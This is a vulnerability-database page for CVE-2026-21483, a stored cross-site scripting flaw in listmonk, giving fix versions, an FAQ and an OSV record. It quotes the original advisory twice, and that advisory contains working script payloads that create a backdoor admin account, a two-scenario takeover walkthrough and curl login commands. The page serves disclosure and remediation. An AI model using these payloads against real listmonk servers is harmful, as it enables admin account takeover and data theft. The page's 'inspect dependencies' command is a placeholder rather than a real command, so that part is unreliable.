CVE-2026-21483: Github.com/knadh/listmonk Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-jmr4-p576-v565
CWE-79
Published
Advisory Summary

CVE-2026-21483 is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/knadh/listmonk libraries in the Go ecosystem. The issue involves listmonk vulnerable to stored xss leading to admin account takeover. Remediation is available by upgrading affected packages to version 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb.

CVE-2026-21483 at a Glance

CVE Identifier CVE-2026-21483
GHSA Identifier GHSA-jmr4-p576-v565
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/knadh/listmonk
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-21483

To remediate this vulnerability, upgrade all affected Github.com/knadh/listmonk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/knadh/listmonk fixed: 6.0.0
Upgrade github.com/knadh/listmonk to 6.0.0
github.com/knadh/listmonk fixed: 1.1.1-0.20251231125615-74dc5a01cfbb
Upgrade github.com/knadh/listmonk to 1.1.1-0.20251231125615-74dc5a01cfbb
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/knadh/listmonk

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-21483, inspect your project dependencies for Github.com/knadh/listmonk:

inspect dependencies for github.com/knadh/listmonk

Analyze the terminal output to locate any version of Github.com/knadh/listmonk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/knadh/listmonk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Security Advisory: Stored XSS Leading to Admin Account Takeover **Affected Versions:** ≤ 5.1.0 **Vulnerability Type:** CWE-79: Stored Cross-Site Scripting --- ## Summary A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required. --- ## Required Attacker Permissions ``` campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:get_all - Access lists templates:get - Access templates ``` **Note:** These are common permissions for content managers who are not full admins. --- ## Attack Vectors ### Vector 1: Raw HTML (Direct Script Tag) ```html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}' }); </script> ``` ### Vector 2: Go Template `Safe` Function ``` {{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }} ``` --- ## Attack Scenarios ### Scenario 1: Campaign Preview Attack 1. Attacker creates campaign with XSS payload 2. Request is made to super admin: *"Please review my newsletter draft"* 3. Super admin opens campaign and clicks **Preview** 4. XSS executes → Backdoor admin account created 5. Attacker logs in with `backdoor` / `Hacked123` ### Scenario 2: Archive Link Attack (No Click Required) 1. Attacker creates campaign with XSS payload 2. Attacker enables **Archive** for the campaign 3. Attacker shares archive link: `http://localhost:9000/archive/{uuid}` 4. Super admin visits the link (no preview click needed!) 5. XSS executes automatically → Account takeover --- ## Proof of Concept ### Step 1: Create Malicious Campaign As lower-privileged user, create campaign with body: ```html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: JSON.stringify({ username: 'backdoor', email: 'backdoor@evil.com', name: 'Backdoor Admin', password: 'Hacked123', type: 'user', status: 'enabled', userRoleId: 1, user_role_id: 1 }) }); </script> ``` ### Step 2: Enable Archive (Optional - for link-based attack) 1. Edit campaign settings 2. Enable "Archive" 3. Copy archive URL: `http://localhost:9000/archive/{campaign-uuid}` ### Step 3: Trigger Execution **Option A - Preview:** - Send campaign to super admin for "review" - Super admin previews → XSS fires **Option B - Archive Link:** - Share archive URL with super admin - Super admin visits link → XSS fires automatically ### Step 4: Verify Takeover ```bash # Login as backdoor admin curl -X POST "http://localhost:9000/admin/login" \ -d "username=backdoor&password=Hacked123" \ -c cookies.txt -L # Verify super admin access curl -b cookies.txt "http://localhost:9000/api/users" ``` --- ## Evidence Screenshots > **[Screenshot 1: Lower-privileged user creating malicious campaign]** <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" /> > **[Screenshot 2: Super admin previewing campaign]** <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" /> > **[Screenshot 3: Backdoor user successfully created]** <img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" /> --- ## Impact | Action | Possible via XSS | |--------|-----------------| | Create backdoor admin | ✅ Yes | | Export all subscribers | ✅ Yes | | Modify SMTP settings | ✅ Yes | | Delete all campaigns | ✅ Yes | | Access API keys/secrets | ✅ Yes | --- ## Affected Components | Component | XSS Works? | Method | |-----------|-----------|--------| | Campaign body (Raw HTML) | ✅ Yes | Direct `<script>` tag | | Campaign body (Template) | ✅ Yes | `{{ \` \` \| Safe }}` | | Template body | ✅ Yes | Both methods | | Campaign archive | ✅ Yes | Automatic execution on visit | ---

CVE-2026-21483 Affected Github.com/knadh/listmonk Versions

2 component(s)
Fixed Versions:
6.0.01.1.1-0.20251231125615-74dc5a01cfbb
Product / Package Ecosystem Affected Versions Fixed Version
github.com/knadh/listmonk
Go
≥ 1.1.1
< 6.0.0
6.0.0
github.com/knadh/listmonk
Go
< 1.1.1-0.20251231125615-74dc5a01cfbb
1.1.1-0.20251231125615-74dc5a01cfbb

References

Frequently Asked Questions

What is CVE-2026-21483?
CVE-2026-21483 is a security vulnerability in Github.com/knadh/listmonk involving listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/knadh/listmonk versions are affected?
Affected versions include releases prior to 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb across affected packages: github.com/knadh/listmonk.
What version fixes CVE-2026-21483?
Upgrading to 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/knadh/listmonk affected?
Yes, github.com/knadh/listmonk is affected in releases prior to 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb. Upgrade your dependency to 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb or later.
What CWE is associated with CVE-2026-21483?
CVE-2026-21483 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2026-21483?
Run the dependency tree command: 'inspect dependencies for github.com/knadh/listmonk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jmr4-p576-v565",
  "modified" : "2026-01-02T23:04:15Z",
  "published" : "2026-01-02T23:04:15Z",
  "aliases" : [ "CVE-2026-21483" ],
  "summary" : "listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover",
  "details" : "## Security Advisory: Stored XSS Leading to Admin Account Takeover\n\n**Affected Versions:** ≤ 5.1.0  \n**Vulnerability Type:** CWE-79: Stored Cross-Site Scripting  \n\n---\n\n## Summary\n\nA lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.\n\nThe attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.\n\n---\n\n## Required Attacker Permissions\n\n```\ncampaigns:manage    - Create/edit campaigns\ncampaigns:get       - View campaigns  \nlists:get_all       - Access lists\ntemplates:get       - Access templates\n```\n\n**Note:** These are common permissions for content managers who are not full admins.\n\n---\n\n## Attack Vectors\n\n### Vector 1: Raw HTML (Direct Script Tag)\n\n```html\n<script>\nfetch('/api/users', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  credentials: 'include',\n  body: '{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'\n});\n</script>\n```\n\n### Vector 2: Go Template `Safe` Function\n\n```\n{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'});</script>` | Safe }}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Campaign Preview Attack\n\n1. Attacker creates campaign with XSS payload\n2. Request is made to super admin: *\"Please review my newsletter draft\"*\n3. Super admin opens campaign and clicks **Preview**\n4. XSS executes → Backdoor admin account created\n5. Attacker logs in with `backdoor` / `Hacked123`\n\n### Scenario 2: Archive Link Attack (No Click Required)\n\n1. Attacker creates campaign with XSS payload\n2. Attacker enables **Archive** for the campaign\n3. Attacker shares archive link: `http://localhost:9000/archive/{uuid}`\n4. Super admin visits the link (no preview click needed!)\n5. XSS executes automatically → Account takeover\n\n---\n\n## Proof of Concept\n\n### Step 1: Create Malicious Campaign\n\nAs lower-privileged user, create campaign with body:\n```html\n<script>\nfetch('/api/users', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  credentials: 'include',\n  body: JSON.stringify({\n    username: 'backdoor',\n    email: 'backdoor@evil.com', \n    name: 'Backdoor Admin',\n    password: 'Hacked123',\n    type: 'user',\n    status: 'enabled',\n    userRoleId: 1,\n    user_role_id: 1\n  })\n});\n</script>\n```\n\n### Step 2: Enable Archive (Optional - for link-based attack)\n\n1. Edit campaign settings\n2. Enable \"Archive\"\n3. Copy archive URL: `http://localhost:9000/archive/{campaign-uuid}`\n\n### Step 3: Trigger Execution\n\n**Option A - Preview:**\n- Send campaign to super admin for \"review\"\n- Super admin previews → XSS fires\n\n**Option B - Archive Link:**\n- Share archive URL with super admin\n- Super admin visits link → XSS fires automatically\n\n### Step 4: Verify Takeover\n\n```bash\n# Login as backdoor admin\ncurl -X POST \"http://localhost:9000/admin/login\" \\\n  -d \"username=backdoor&password=Hacked123\" \\\n  -c cookies.txt -L\n\n# Verify super admin access\ncurl -b cookies.txt \"http://localhost:9000/api/users\"\n```\n\n---\n\n## Evidence Screenshots\n\n> **[Screenshot 1: Lower-privileged user creating malicious campaign]**\n<img width=\"1892\" height=\"781\" alt=\"Screenshot 2025-12-27 170259\" src=\"https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b\" />\n\n> **[Screenshot 2: Super admin previewing campaign]**\n<img width=\"1686\" height=\"709\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7\" />\n\n> **[Screenshot 3: Backdoor user successfully created]**\n<img width=\"1370\" height=\"469\" alt=\"Screenshot 2025-12-27 170413\" src=\"https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2\" />\n\n---\n\n## Impact\n\n| Action | Possible via XSS |\n|--------|-----------------|\n| Create backdoor admin | ✅ Yes |\n| Export all subscribers | ✅ Yes |\n| Modify SMTP settings | ✅ Yes |\n| Delete all campaigns | ✅ Yes |\n| Access API keys/secrets | ✅ Yes |\n\n---\n\n## Affected Components\n\n| Component | XSS Works? | Method |\n|-----------|-----------|--------|\n| Campaign body (Raw HTML) | ✅ Yes | Direct `<script>` tag |\n| Campaign body (Template) | ✅ Yes | `{{ \\` \\` \\| Safe }}` |\n| Template body | ✅ Yes | Both methods |\n| Campaign archive | ✅ Yes | Automatic execution on visit |\n\n---",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/knadh/listmonk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.1.1"
      }, {
        "fixed" : "6.0.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/knadh/listmonk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.1-0.20251231125615-74dc5a01cfbb"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/knadh/listmonk/security/advisories/GHSA-jmr4-p576-v565"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21483"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/knadh/listmonk/commit/74dc5a01cfbb12cf218cb33ddad8410c53e2e915"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/knadh/listmonk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/knadh/listmonk/releases/tag/v6.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-02T23:04:15Z",
    "nvd_published_at" : "2026-01-02T21:16:03Z"
  }
}